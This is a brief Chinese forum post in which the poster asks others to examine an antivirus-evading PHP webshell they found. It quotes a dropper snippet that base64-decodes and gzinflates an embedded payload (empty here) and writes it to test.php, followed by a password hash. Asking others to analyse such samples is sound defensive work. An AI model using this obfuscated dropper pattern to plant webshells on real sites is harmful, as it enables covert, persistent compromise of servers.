遇到个免杀webshell，表哥们帮忙看看

<?php

$Code = ' '; 

$File = 'test.php';

$Temp = base64_decode($Code);

$temp = gzinflate($Temp);

$FP = fopen($File,"w");

fwrite($FP,$temp);

fclose($FP);

?>

$pass = 'ec38fe2a8497e0a8d6d349b3533038cb';